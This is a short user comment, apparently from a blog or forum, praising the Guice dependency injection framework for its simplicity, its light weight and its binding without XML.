I love Guice!! It’s pretty simple and works very good. You don’t have to use XML to bind your classes and it’s very lightweight. If you just wan’t to use Dependency Injection, Guice is in my opinion the number 1.